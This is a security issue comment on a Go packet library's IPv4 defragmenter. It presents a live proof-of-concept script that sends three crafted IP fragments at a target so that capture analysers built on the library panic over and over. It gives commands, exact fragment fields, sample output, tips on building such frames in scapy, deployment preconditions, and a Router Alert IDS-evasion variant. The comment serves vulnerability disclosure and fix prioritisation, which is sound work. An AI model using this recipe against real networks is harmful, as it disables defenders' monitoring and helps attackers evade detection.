## Live-wire PoC added: `pentest/poc/live/ip4defrag_live.py` On `pentest/2026-08-poc` — [95bc151](https://pwn.tax/noi/gopacket/commit/95bc15144ab9c2b368ea2e929a8727b1bdc76d55). Too long to paste inline, so it sits alongside the pcap generators. The existing PoCs (`defrag_ihl`, `defrag_min`, `pcapgen`) drive `DefragIPv4` in-process or replay a fixture. This one puts the fragments on a real network aimed at a real host, which is the only way to exercise the part of the finding that actually matters operationally: **three packets an attacker sends at an address they do not control, poisoning a defender's capture file.** ```sh ./live/ip4defrag_live.py --target 10.0.0.5 --iface eth0 # root cause B, 182 B ./live/ip4defrag_live.py --target 10.0.0.5 --iface eth0 --mode truncated # root cause A, 138 B ``` ``` [ip4defrag_live] mode=panic target=10.0.0.5:80 iface=eth0 src=10.0.0.20 ip.id = 0xbeef (grep your capture for this) A: wire=58 IHL=5 Total_Length=44 FragOffset=0 (byte 0 ) MF=1 payload=24 C: wire=42 IHL=5 Total_Length=28 FragOffset=9 (byte 72 ) MF=0 payload=8 B: wire=82 IHL=15 Total_Length=68 FragOffset=1 (byte 8 ) MF=1 payload=8 sent 3 fragments, 182 bytes on the wire expected panic in the consumer: slice bounds out of range [16:8] the target does not need to accept these -- they only need capturing ``` No connection, no handshake, no reply. `truncated` prints 138 bytes, matching this issue's own figure for root cause A — using `Total_Length=68`, not the 1500 the prose says. Verified end to end: all three fragments leave with **valid IP checksums** (`ip.checksum.status == 1` under `tshark -o ip.check_checksum:TRUE`), and the consuming analyser panics with `slice bounds out of range [16:8]` once per poll interval, indefinitely, because the file is never marked ingested. ### Two bugs worth flagging for anyone writing their own Both cost real debugging time and neither is obvious: 1. **`Ether()/Raw(bytes)` does not produce an IPv4 frame.** scapy cannot infer an EtherType from a `Raw` payload and leaves it at its `0x9000` default, so the frames go out as something that is not IP — a capture filtering on `ip` (or `tcp`) records nothing at all, and it looks exactly like the attack failing. `type=0x0800` must be set explicitly. 2. **A first fragment carrying a partial transport header is never delivered.** conntrack cannot build a tuple for it, so the datagram is dropped before reassembly — the RFC 1858 tiny-fragment rule. Not relevant to the panic modes (nothing has to be delivered), but it bites immediately if you try to carry a real request this way: 24 bytes is the smallest multiple of 8 that covers a TCP header. ### The precondition, restated because the script depends on it The docstring carries it and the script deliberately does **not** probe for it, nor change the host it runs on. The capture tap must sit upstream of the first hop that reassembles. Same three packets, two capture points: | capture point | fragments reach the pcap | result | |---|---|---| | host's own NIC (AF_PACKET rx tap, upstream of `nf_defrag_ipv4`) | yes | panic, then re-panic every poll | | behind a Linux bridge with `bridge-nf-call-iptables=1` | **no** | nothing at all | `sysctl net.bridge.bridge-nf-call-iptables` tells you which you have. ### On the evasion variant — a correction to my own earlier comment I said above that the Router Alert evasion "works *through* the bridge that blocks the panic modes." **My own control does not support that**, so treat it as unproven rather than established. Delivering a request inside Router-Alert-tagged fragments does work — the service executes it. But on the same path the benign `IHL=5` control *also* fails to reassemble in the consumer, so a live run does not isolate the option as the cause; a middlebox that reassembles and re-fragments changes the geometry enough that both cases are lost. The option-specific differential is only cleanly demonstrable against the library: ``` first fragment IHL=5 (0 opt bytes) REASSEMBLED len(Payload)=32 first fragment IHL=6 (4 opt bytes) NEVER REASSEMBLED ``` That result stands and the fix-priority conclusion drawn from it is unchanged — fix (1) closes both the panic and the evasion, fix (2) closes only the panic. But the *live* claim was overstated and the evasion is deliberately not shipped as a mode in this script. It needs a path with no reassembling hop, same as the panic. --- *Verified on Go 1.24.4 against `gopacket/gopacket v1.7.0`, with Arkime v6.7.0 reading byte-identical rotating pcaps as a reference.*
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
noi/gopacket#1
No description provided.